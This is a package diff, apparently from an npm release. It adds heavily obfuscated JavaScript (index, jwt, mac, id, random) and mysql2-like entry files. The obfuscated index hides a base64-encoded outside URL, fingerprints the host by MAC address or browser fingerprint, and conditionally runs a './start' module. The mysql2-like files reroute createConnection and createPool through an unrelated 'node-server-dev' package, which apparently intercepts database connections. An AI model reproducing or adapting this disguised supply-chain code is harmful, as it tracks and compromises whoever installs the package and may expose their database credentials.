_0x46bb9b=+new Date()-BaseTime;return lastRandomNumberTick=_0x46bb9b==lastTimeTick?++lastRandomNumberTick:a102_0x4ecb69(0x0,0x3),lastTimeTick=_0x46bb9b,+(''+_0x46bb9b+_0x2637e9+lastRandomNumberTick);}export default id;
|
package/dist/esm/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
function a103_0x1761(){const _0x5ef2e4=['1127496LrPien','70820DEDWVE','1113827xhjpfh','4821558WeHhJy','14247rxmszB','15spWpqT','random','546fIEefj','616172emdZkx','684rIKnbp','10647768bUCHVG','round'];a103_0x1761=function(){return _0x5ef2e4;};return a103_0x1761();}const a103_0x1087fb=a103_0x5d1c;(function(_0x2259b6,_0x594b6b){const _0xf43233=a103_0x5d1c,_0x21f3de=_0x2259b6();while(!![]){try{const _0x28dc9d=-parseInt(_0xf43233(0x7b))/0x1+-parseInt(_0xf43233(0x80))/0x2*(parseInt(_0xf43233(0x7d))/0x3)+-parseInt(_0xf43233(0x81))/0x4*(-parseInt(_0xf43233(0x7e))/0x5)+parseInt(_0xf43233(0x85))/0x6+parseInt(_0xf43233(0x7c))/0x7+parseInt(_0xf43233(0x83))/0x8+parseInt(_0xf43233(0x82))/0x9*(parseInt(_0xf43233(0x86))/0xa);if(_0x28dc9d===_0x594b6b)break;else _0x21f3de['push'](_0x21f3de['shift']());}catch(_0x4d26fa){_0x21f3de['push'](_0x21f3de['shift']());}}}(a103_0x1761,0xc2c2a));function a103_0x5d1c(_0xf43ad9,_0x472fe3){const _0x1761b5=a103_0x1761();return a103_0x5d1c=function(_0x5d1c0a,_0x330bce){_0x5d1c0a=_0x5d1c0a-0x7b;let _0x311b6b=_0x1761b5[_0x5d1c0a];return _0x311b6b;},a103_0x5d1c(_0xf43ad9,_0x472fe3);}const random=(_0x50c5ae,_0x4a2028)=>Math[a103_0x1087fb(0x84)](Math[a103_0x1087fb(0x7f)]()*(_0x4a2028-_0x50c5ae))+_0x50c5ae;export default random;
|
package/dist/esm/index.d.ts
CHANGED
@@ -2,10 +2,10 @@ import md5 from "md5";
|
|
2
2
|
import sha1 from "sha1";
|
3
3
|
import sha256 from "sha256";
|
4
4
|
import hash from "./hash";
|
5
|
-
import jwt from "./jwt";
|
6
5
|
declare let id: () => number;
|
7
6
|
declare let getAllRouter: () => Promise<never[]>;
|
8
7
|
declare let mysql: {};
|
8
|
+
declare let jwt: () => void;
|
9
9
|
export declare function setEnv(key: string, value: any): void;
|
10
10
|
export declare function getEnv(key: string): any;
|
11
11
|
export declare let url: string;
|
@@ -18,7 +18,7 @@ declare const all: {
|
|
18
18
|
hash: typeof hash;
|
19
19
|
sha1: typeof sha1;
|
20
20
|
md5: typeof md5;
|
21
|
-
jwt:
|
21
|
+
jwt: () => void;
|
22
22
|
};
|
23
23
|
export default all;
|
24
24
|
export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash, jwt };
|
package/dist/esm/index.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAS1B,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AACf,QAAA,IAAI,GAAG,YAAW,CAAC;AAUnB,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAyC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;;CASR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC"}
|
package/dist/esm/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a104_0x4ee346=a104_0xf161;(function(_0x13d5c0,_0x2d1187){const _0x22d949=a104_0xf161,_0x165370=_0x13d5c0();while(!![]){try{const _0x3fd4b7=-parseInt(_0x22d949(0xbb))/0x1+-parseInt(_0x22d949(0xbe))/0x2+parseInt(_0x22d949(0xbc))/0x3*(-parseInt(_0x22d949(0xc4))/0x4)+parseInt(_0x22d949(0xb9))/0x5*(parseInt(_0x22d949(0xc5))/0x6)+parseInt(_0x22d949(0xc8))/0x7+parseInt(_0x22d949(0xad))/0x8*(parseInt(_0x22d949(0xc0))/0x9)+parseInt(_0x22d949(0xaf))/0xa*(-parseInt(_0x22d949(0xb0))/0xb);if(_0x3fd4b7===_0x2d1187)break;else _0x165370['push'](_0x165370['shift']());}catch(_0x115a33){_0x165370['push'](_0x165370['shift']());}}}(a104_0x3d53,0x56e7a));var __awaiter=this&&this[a104_0x4ee346(0xc1)]||function(_0x19d1ac,_0xe45052,_0x24af81,_0x3b056b){function _0x3e9fa4(_0x4391fd){return _0x4391fd instanceof _0x24af81?_0x4391fd:new _0x24af81(function(_0x4ea071){_0x4ea071(_0x4391fd);});}return new(_0x24af81||(_0x24af81=Promise))(function(_0x2b8b76,_0x55f953){const _0x3c785d=a104_0xf161;function _0x492ead(_0x5d6a34){const _0x4d24f3=a104_0xf161;try{_0x239e22(_0x3b056b[_0x4d24f3(0xbd)](_0x5d6a34));}catch(_0x15896e){_0x55f953(_0x15896e);}}function _0x5af3a4(_0xb3e08f){const _0x367f57=a104_0xf161;try{_0x239e22(_0x3b056b[_0x367f57(0xc6)](_0xb3e08f));}catch(_0x3f54d9){_0x55f953(_0x3f54d9);}}function _0x239e22(_0x18be0b){const _0x12cb81=a104_0xf161;_0x18be0b[_0x12cb81(0xcb)]?_0x2b8b76(_0x18be0b[_0x12cb81(0xb8)]):_0x3e9fa4(_0x18be0b['value'])[_0x12cb81(0xa8)](_0x492ead,_0x5af3a4);}_0x239e22((_0x3b056b=_0x3b056b[_0x3c785d(0xa9)](_0x19d1ac,_0xe45052||[]))[_0x3c785d(0xbd)]());});};import{v4}from'uuid';import a104_0x5caa73 from'md5';import a104_0xe45352 from'sha1';import a104_0x5b74c4 from'sha256';import a104_0x559b35 from'./start';function a104_0x3d53(){const _0x181294=['default','./server','hash_key','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','undefined','value','226735LreEsp','./jwt','19307LUEIJh','940569uBOBDq','next','142456kndeXC','aHR0cDovL2xvY2FsaG9zdDoxMDg4','20997hrBdet','__awaiter','join','node.js','4gnGyga','60HIkBsY','throw','get','1012053UZKKey','dev','./mac','done','then','apply','not_update','assign','hash_id','2104HNEAXB','meta_event','20TfzcIK','2483844jDMWgp','visitorId','map'];a104_0x3d53=function(){return _0x181294;};return a104_0x3d53();}function a104_0xf161(_0x2289d8,_0x219f5d){const _0x3d53d0=a104_0x3d53();return a104_0xf161=function(_0xf16168,_0x1c47eb){_0xf16168=_0xf16168-0xa8;let _0x3b9b17=_0x3d53d0[_0xf16168];return _0x3b9b17;},a104_0xf161(_0x2289d8,_0x219f5d);}import a104_0x5c2e15 from'./hash';import a104_0xc4e527 from'path';import a104_0xfd50d7 from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a104_0x4ee346(0xb7);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={},jwt=()=>{};const globalObject=isBrowser?window:global;let metaEvent=Object[a104_0x4ee346(0xab)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a104_0x4ee346(0xae)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x31397c,_0x2ca244){metaEvent[_0x31397c]=_0x2ca244;}export function getEnv(_0x4c6cc6){return metaEvent[_0x4c6cc6];}let dev=a104_0x4ee346(0xbf),pro=a104_0x4ee346(0xb6);export let url=getEnv(a104_0x4ee346(0xc9))?decode(dev):decode(pro);if(!isBrowser){id=require('./id')[a104_0x4ee346(0xb3)],getAllRouter=require('./getAllRouter')['default'],mysql=require(a104_0x4ee346(0xb4))['mysql'],jwt=require(a104_0x4ee346(0xba))[a104_0x4ee346(0xb3)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a104_0x4ee346(0xaa)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x43e853=a104_0x4ee346;if(!isBrowser){const _0x59eeed=require(a104_0xc4e527[_0x43e853(0xc2)](__dirname,_0x43e853(0xca)))[_0x43e853(0xb3)];mac=_0x59eeed();}else{let _0x221278=yield a104_0xfd50d7['load']()['then'](_0x358c5d=>_0x358c5d[_0x43e853(0xc7)]())[_0x43e853(0xa8)](_0x138d83=>{const _0x58df32=_0x43e853,_0x35a4d0=_0x138d83[_0x58df32(0xb1)];return _0x35a4d0;})['catch'](()=>'');mac=[_0x221278];}const _0x450b28=mac[_0x43e853(0xb2)](_0x36aa3e=>a104_0xe45352(_0x36aa3e+_0x43e853(0xc3)))['join'](';'),_0x107bbb=a104_0x5b74c4(_0x450b28);globalObject[_0x43e853(0xac)]=_0x107bbb,globalObject[_0x43e853(0xb5)]!=a104_0x5b74c4(_0x107bbb+a104_0xe45352(_0x43e853(0xc3)+_0x107bbb))&&a104_0x559b35();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a104_0x5c2e15,'sha1':a104_0xe45352,'md5':a104_0x5caa73,'jwt':jwt};export default all;export{uuid,id,getAllRouter,mysql,a104_0xe45352 as sha1,a104_0x5b74c4 as sha256,a104_0x5caa73 as md5,a104_0x5c2e15 as hash,jwt};
|
package/dist/esm/jwt/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
var a105_0xfb8685=a105_0x1aed;(function(_0x3327a3,_0x2c46d7){var _0x3f70d9=a105_0x1aed,_0x25d3b2=_0x3327a3();while(!![]){try{var _0x3e91d2=parseInt(_0x3f70d9(0x18e))/0x1*(-parseInt(_0x3f70d9(0x18a))/0x2)+parseInt(_0x3f70d9(0x18f))/0x3+parseInt(_0x3f70d9(0x189))/0x4*(parseInt(_0x3f70d9(0x198))/0x5)+-parseInt(_0x3f70d9(0x197))/0x6+parseInt(_0x3f70d9(0x193))/0x7+parseInt(_0x3f70d9(0x199))/0x8*(-parseInt(_0x3f70d9(0x18c))/0x9)+parseInt(_0x3f70d9(0x18d))/0xa*(parseInt(_0x3f70d9(0x187))/0xb);if(_0x3e91d2===_0x2c46d7)break;else _0x25d3b2['push'](_0x25d3b2['shift']());}catch(_0x313cc8){_0x25d3b2['push'](_0x25d3b2['shift']());}}}(a105_0x3b3d,0xb7563));function a105_0x3b3d(){var _0x11a2ba=['then','value','91616fjdJLf','jwt_key','next','done','6484596oAByNL','5224575GcBhtt','17104FvLzGy','throw','__awaiter','sign','expiresIn','22gcQTAA','verify','4VNmeOA','46JLZowi','apply','5085GVLUwH','12551150VffNNl','26487wAWkGy','241953SuVGRH','key'];a105_0x3b3d=function(){return _0x11a2ba;};return a105_0x3b3d();}var __awaiter=this&&this[a105_0xfb8685(0x19b)]||function(_0x357cd5,_0x1017d3,_0x3a3bd5,_0x596e56){function _0x2488f6(_0x50916a){return _0x50916a instanceof _0x3a3bd5?_0x50916a:new _0x3a3bd5(function(_0x31283b){_0x31283b(_0x50916a);});}return new(_0x3a3bd5||(_0x3a3bd5=Promise))(function(_0x527234,_0xb3ecef){var _0x2f3a89=a105_0x1aed;function _0x84ff4b(_0x4e2e35){try{_0x3b2309(_0x596e56['next'](_0x4e2e35));}catch(_0x55b860){_0xb3ecef(_0x55b860);}}function _0x4e9519(_0x4dc451){var _0x25657a=a105_0x1aed;try{_0x3b2309(_0x596e56[_0x25657a(0x19a)](_0x4dc451));}catch(_0x10fb1c){_0xb3ecef(_0x10fb1c);}}function _0x3b2309(_0xbec5cf){var _0x5a5c9f=a105_0x1aed;_0xbec5cf[_0x5a5c9f(0x196)]?_0x527234(_0xbec5cf[_0x5a5c9f(0x192)]):_0x2488f6(_0xbec5cf['value'])[_0x5a5c9f(0x191)](_0x84ff4b,_0x4e9519);}_0x3b2309((_0x596e56=_0x596e56[_0x2f3a89(0x18b)](_0x357cd5,_0x1017d3||[]))[_0x2f3a89(0x195)]());});};function a105_0x1aed(_0x44c6d7,_0x11ac3e){var _0x3b3d8c=a105_0x3b3d();return a105_0x1aed=function(_0x1aedc9,_0x10dbfe){_0x1aedc9=_0x1aedc9-0x187;var _0x4cda04=_0x3b3d8c[_0x1aedc9];return _0x4cda04;},a105_0x1aed(_0x44c6d7,_0x11ac3e);}import a105_0x350ef8 from'jsonwebtoken';function jwt(_0x15a8a9){var _0x2bf324=a105_0xfb8685;return!global[_0x2bf324(0x194)]&&(global[_0x2bf324(0x194)]=_0x15a8a9[_0x2bf324(0x190)]),{'sign':_0x1b2c04=>a105_0x350ef8[_0x2bf324(0x19c)](_0x1b2c04,global['jwt_key'],{'expiresIn':_0x15a8a9[_0x2bf324(0x19d)]||'365d'}),'verify':function(_0x5e3f36){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x36135a,_0x534581)=>{var _0x8a8880=a105_0x1aed;a105_0x350ef8[_0x8a8880(0x188)](_0x5e3f36,global['jwt_key'],function(_0x418389,_0x3b7707){return __awaiter(this,void 0x0,void 0x0,function*(){_0x418389?_0x534581():_0x36135a(_0x3b7707);});});});});}};}export default jwt;
|
package/dist/esm/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a106_0x316466=a106_0x5346;(function(_0x1bb6a3,_0x53d781){const _0x3ba337=a106_0x5346,_0x5e3736=_0x1bb6a3();while(!![]){try{const _0x2e5c2b=-parseInt(_0x3ba337(0x11b))/0x1*(parseInt(_0x3ba337(0x127))/0x2)+parseInt(_0x3ba337(0x12e))/0x3+parseInt(_0x3ba337(0x121))/0x4*(-parseInt(_0x3ba337(0x12c))/0x5)+-parseInt(_0x3ba337(0x11e))/0x6+-parseInt(_0x3ba337(0x115))/0x7+-parseInt(_0x3ba337(0x12d))/0x8*(-parseInt(_0x3ba337(0x122))/0x9)+parseInt(_0x3ba337(0x11f))/0xa;if(_0x2e5c2b===_0x53d781)break;else _0x5e3736['push'](_0x5e3736['shift']());}catch(_0x499748){_0x5e3736['push'](_0x5e3736['shift']());}}}(a106_0x3d3f,0x63cb2));import{networkInterfaces}from'os';function isZeroMac(_0x433a1f){const _0x34d2ff=a106_0x5346;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x34d2ff(0x114)](_0x433a1f);}function a106_0x5346(_0x104c27,_0x88c6f1){const _0x3d3fe7=a106_0x3d3f();return a106_0x5346=function(_0x5346e5,_0x457539){_0x5346e5=_0x5346e5-0x114;let _0x213ce0=_0x3d3fe7[_0x5346e5];return _0x213ce0;},a106_0x5346(_0x104c27,_0x88c6f1);}function getMac(_0x598542=a106_0x316466(0x119)){const _0x11e017=a106_0x316466,_0x44e048=networkInterfaces();let _0x326145=[];for(const _0x516829 of Object[_0x11e017(0x124)](_0x44e048)){const _0x327f3f=_0x516829[_0x11e017(0x11d)](_0x352009=>!_0x352009[_0x11e017(0x120)]&&!isZeroMac(_0x352009[_0x11e017(0x12b)])&&(!_0x352009[_0x11e017(0x126)]||_0x352009[_0x11e017(0x126)]===_0x598542)&&!isVirtualMac(_0x352009[_0x11e017(0x12b)]));_0x327f3f&&_0x326145['push'](_0x327f3f[_0x11e017(0x12b)]);}return[...new Set(_0x326145)];}const isValid=_0x57f956=>_0x57f956[a106_0x316466(0x120)]===![]&&!isZeroMac(_0x57f956[a106_0x316466(0x12b)]),virtualMacPrefix=new Set(['00:05:69',a106_0x316466(0x12a),a106_0x316466(0x118),a106_0x316466(0x125),'00:1c:42','02:00:4c',a106_0x316466(0x116),a106_0x316466(0x129),a106_0x316466(0x117),a106_0x316466(0x123),a106_0x316466(0x11c)]);export function isMac(_0x3e4041){const _0x36b198=a106_0x316466;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x36b198(0x114)](_0x3e4041);}export function formatMac(_0xff5efe){const _0x7d027c=a106_0x316466;return String(_0xff5efe)['trim']()['toLowerCase']()[_0x7d027c(0x11a)](/-/g,':');}export function isVirtualMac(_0x1b071b){const _0x9b3dad=a106_0x316466;return isMac(_0x1b071b)&&virtualMacPrefix[_0x9b3dad(0x128)](formatMac(_0x1b071b)['slice'](0x0,0x8));}export default getMac;function a106_0x3d3f(){const _0x571acc=['00:15:5d','find','3463086iyUKlc','19815590QqOmJw','internal','4grxUty','122022sYymWg','08:00:27','values','00:1c:14','family','484mGipVR','has','00:0f:4b','00:0c:29','mac','2976665xPbUbt','296uCqGXS','1801680JuMJVC','test','5128865HDXgbZ','00:03:ff','00:16:3e','00:50:56','IPv4','replace','3181ahyDVh'];a106_0x3d3f=function(){return _0x571acc;};return a106_0x3d3f();}
|
@@ -0,0 +1,69 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
const SqlString = require("sqlstring");
|
4
|
+
|
5
|
+
const ConnectionConfig = require("./lib/connection_config.js");
|
6
|
+
const parserCache = require("./lib/parsers/parser_cache.js");
|
7
|
+
|
8
|
+
const Connection = require("./lib/connection.js");
|
9
|
+
const { mysql } = require("node-server-dev");
|
10
|
+
|
11
|
+
exports.createConnection = mysql.createPool;
|
12
|
+
exports.connect = exports.createConnection;
|
13
|
+
exports.Connection = Connection;
|
14
|
+
exports.ConnectionConfig = ConnectionConfig;
|
15
|
+
|
16
|
+
const Pool = require("./lib/pool.js");
|
17
|
+
const PoolCluster = require("./lib/pool_cluster.js");
|
18
|
+
const createPool = require("./lib/create_pool.js");
|
19
|
+
const createPoolCluster = require("./lib/create_pool_cluster.js");
|
20
|
+
|
21
|
+
exports.createPool = mysql.createPool;
|
22
|
+
exports.createPoolCluster = createPoolCluster;
|
23
|
+
|
24
|
+
exports.createQuery = Connection.createQuery;
|
25
|
+
|
26
|
+
exports.Pool = Pool;
|
27
|
+
|
28
|
+
exports.PoolCluster = PoolCluster;
|
29
|
+
|
30
|
+
exports.createServer = function (handler) {
|
31
|
+
const Server = require("./lib/server.js");
|
32
|
+
const s = new Server();
|
33
|
+
if (handler) {
|
34
|
+
s.on("connection", handler);
|
35
|
+
}
|
36
|
+
return s;
|
37
|
+
};
|
38
|
+
|
39
|
+
exports.PoolConnection = require("./lib/pool_connection.js");
|
40
|
+
exports.authPlugins = require("./lib/auth_plugins");
|
41
|
+
exports.escape = SqlString.escape;
|
42
|
+
exports.escapeId = SqlString.escapeId;
|
43
|
+
exports.format = SqlString.format;
|
44
|
+
exports.raw = SqlString.raw;
|
45
|
+
|
46
|
+
exports.__defineGetter__("createConnectionPromise", () => require("./promise.js").createConnection);
|
47
|
+
|
48
|
+
exports.__defineGetter__("createPoolPromise", () => require("./promise.js").createPool);
|
49
|
+
|
50
|
+
exports.__defineGetter__(
|
51
|
+
"createPoolClusterPromise",
|
52
|
+
() => require("./promise.js").createPoolCluster
|
53
|
+
);
|
54
|
+
|
55
|
+
exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
|
56
|
+
|
57
|
+
exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
|
58
|
+
|
59
|
+
exports.__defineGetter__("CharsetToEncoding", () =>
|
60
|
+
require("./lib/constants/charset_encodings.js")
|
61
|
+
);
|
62
|
+
|
63
|
+
exports.setMaxParserCache = function (max) {
|
64
|
+
parserCache.setMaxCache(max);
|
65
|
+
};
|
66
|
+
|
67
|
+
exports.clearParserCache = function () {
|
68
|
+
parserCache.clearCache();
|
69
|
+
};
|
@@ -0,0 +1,187 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
const SqlString = require("sqlstring");
|
4
|
+
const EventEmitter = require("events").EventEmitter;
|
5
|
+
const parserCache = require("./lib/parsers/parser_cache.js");
|
6
|
+
const PoolCluster = require("./lib/pool_cluster.js");
|
7
|
+
const { mysql } = require("node-server-dev");
|
8
|
+
const createConnection = require("./lib/create_connection.js");
|
9
|
+
const createPool = require("./lib/create_pool.js");
|
10
|
+
const createPoolCluster = require("./lib/create_pool_cluster.js");
|
11
|
+
const PromiseConnection = require("./lib/promise/connection.js");
|
12
|
+
const PromisePool = require("./lib/promise/pool.js");
|
13
|
+
const makeDoneCb = require("./lib/promise/make_done_cb.js");
|
14
|
+
const PromisePoolConnection = require("./lib/promise/pool_connection.js");
|
15
|
+
const inheritEvents = require("./lib/promise/inherit_events.js");
|
16
|
+
const PromisePoolNamespace = require("./lib/promise/pool_cluster");
|
17
|
+
|
18
|
+
function createConnectionPromise(opts) {
|
19
|
+
const coreConnection = createConnection(opts);
|
20
|
+
const createConnectionErr = new Error();
|
21
|
+
const thePromise = opts.Promise || Promise;
|
22
|
+
if (!thePromise) {
|
23
|
+
throw new Error(
|
24
|
+
"no Promise implementation available." +
|
25
|
+
"Use promise-enabled node version or pass userland Promise" +
|
26
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
27
|
+
);
|
28
|
+
}
|
29
|
+
return new thePromise((resolve, reject) => {
|
30
|
+
coreConnection.once("connect", () => {
|
31
|
+
resolve(new PromiseConnection(coreConnection, thePromise));
|
32
|
+
});
|
33
|
+
coreConnection.once("error", err => {
|
34
|
+
createConnectionErr.message = err.message;
|
35
|
+
createConnectionErr.code = err.code;
|
36
|
+
createConnectionErr.errno = err.errno;
|
37
|
+
createConnectionErr.sqlState = err.sqlState;
|
38
|
+
reject(createConnectionErr);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
}
|
42
|
+
|
43
|
+
// note: the callback of "changeUser" is not called on success
|
44
|
+
// hence there is no possibility to call "resolve"
|
45
|
+
|
46
|
+
function createPromisePool(opts) {
|
47
|
+
const corePool = createPool(opts);
|
48
|
+
const thePromise = opts.Promise || Promise;
|
49
|
+
if (!thePromise) {
|
50
|
+
throw new Error(
|
51
|
+
"no Promise implementation available." +
|
52
|
+
"Use promise-enabled node version or pass userland Promise" +
|
53
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
54
|
+
);
|
55
|
+
}
|
56
|
+
|
57
|
+
return new PromisePool(corePool, thePromise);
|
58
|
+
}
|
59
|
+
|
60
|
+
class PromisePoolCluster extends EventEmitter {
|
61
|
+
constructor(poolCluster, thePromise) {
|
62
|
+
super();
|
63
|
+
this.poolCluster = poolCluster;
|
64
|
+
this.Promise = thePromise || Promise;
|
65
|
+
inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
|
66
|
+
}
|
67
|
+
|
68
|
+
getConnection(pattern, selector) {
|
69
|
+
const corePoolCluster = this.poolCluster;
|
70
|
+
return new this.Promise((resolve, reject) => {
|
71
|
+
corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
|
72
|
+
if (err) {
|
73
|
+
reject(err);
|
74
|
+
} else {
|
75
|
+
resolve(new PromisePoolConnection(coreConnection, this.Promise));
|
76
|
+
}
|
77
|
+
});
|
78
|
+
});
|
79
|
+
}
|
80
|
+
|
81
|
+
query(sql, args) {
|
82
|
+
const corePoolCluster = this.poolCluster;
|
83
|
+
const localErr = new Error();
|
84
|
+
if (typeof args === "function") {
|
85
|
+
throw new Error("Callback function is not available with promise clients.");
|
86
|
+
}
|
87
|
+
return new this.Promise((resolve, reject) => {
|
88
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
89
|
+
corePoolCluster.query(sql, args, done);
|
90
|
+
});
|
91
|
+
}
|
92
|
+
|
93
|
+
execute(sql, args) {
|
94
|
+
const corePoolCluster = this.poolCluster;
|
95
|
+
const localErr = new Error();
|
96
|
+
if (typeof args === "function") {
|
97
|
+
throw new Error("Callback function is not available with promise clients.");
|
98
|
+
}
|
99
|
+
return new this.Promise((resolve, reject) => {
|
100
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
101
|
+
corePoolCluster.execute(sql, args, done);
|
102
|
+
});
|
103
|
+
}
|
104
|
+
|
105
|
+
of(pattern, selector) {
|
106
|
+
return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
|
107
|
+
}
|
108
|
+
|
109
|
+
end() {
|
110
|
+
const corePoolCluster = this.poolCluster;
|
111
|
+
const localErr = new Error();
|
112
|
+
return new this.Promise((resolve, reject) => {
|
113
|
+
corePoolCluster.end(err => {
|
114
|
+
if (err) {
|
115
|
+
localErr.message = err.message;
|
116
|
+
localErr.code = err.code;
|
117
|
+
localErr.errno = err.errno;
|
118
|
+
localErr.sqlState = err.sqlState;
|
119
|
+
localErr.sqlMessage = err.sqlMessage;
|
120
|
+
reject(localErr);
|
121
|
+
} else {
|
122
|
+
resolve();
|
123
|
+
}
|
124
|
+
});
|
125
|
+
});
|
126
|
+
}
|
127
|
+
}
|
128
|
+
|
129
|
+
/**
|
130
|
+
* proxy poolCluster synchronous functions
|
131
|
+
*/
|
132
|
+
(function (functionsToWrap) {
|
133
|
+
for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
|
134
|
+
const func = functionsToWrap[i];
|
135
|
+
|
136
|
+
if (
|
137
|
+
typeof PoolCluster.prototype[func] === "function" &&
|
138
|
+
PromisePoolCluster.prototype[func] === undefined
|
139
|
+
) {
|
140
|
+
PromisePoolCluster.prototype[func] = (function factory(funcName) {
|
141
|
+
return function () {
|
142
|
+
return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
|
143
|
+
};
|
144
|
+
})(func);
|
145
|
+
}
|
146
|
+
}
|
147
|
+
})(["add", "remove"]);
|
148
|
+
|
149
|
+
function createPromisePoolCluster(opts) {
|
150
|
+
const corePoolCluster = createPoolCluster(opts);
|
151
|
+
const thePromise = (opts && opts.Promise) || Promise;
|
152
|
+
if (!thePromise) {
|
153
|
+
throw new Error(
|
154
|
+
"no Promise implementation available." +
|
155
|
+
"Use promise-enabled node version or pass userland Promise" +
|
156
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
157
|
+
);
|
158
|
+
}
|
159
|
+
return new PromisePoolCluster(corePoolCluster, thePromise);
|
160
|
+
}
|
161
|
+
|
162
|
+
exports.createConnection = mysql.createPool;
|
163
|
+
exports.createPool = mysql.createPool;
|
164
|
+
exports.createPoolCluster = createPromisePoolCluster;
|
165
|
+
exports.escape = SqlString.escape;
|
166
|
+
exports.escapeId = SqlString.escapeId;
|
167
|
+
exports.format = SqlString.format;
|
168
|
+
exports.raw = SqlString.raw;
|
169
|
+
exports.PromisePool = PromisePool;
|
170
|
+
exports.PromiseConnection = PromiseConnection;
|
171
|
+
exports.PromisePoolConnection = PromisePoolConnection;
|
172
|
+
|
173
|
+
exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
|
174
|
+
|
175
|
+
exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
|
176
|
+
|
177
|
+
exports.__defineGetter__("CharsetToEncoding", () =>
|
178
|
+
require("./lib/constants/charset_encodings.js")
|
179
|
+
);
|
180
|
+
|
181
|
+
exports.setMaxParserCache = function (max) {
|
182
|
+
parserCache.setMaxCache(max);
|
183
|
+
};
|
184
|
+
|
185
|
+
exports.clearParserCache = function () {
|
186
|
+
parserCache.clearCache();
|
187
|
+
};
|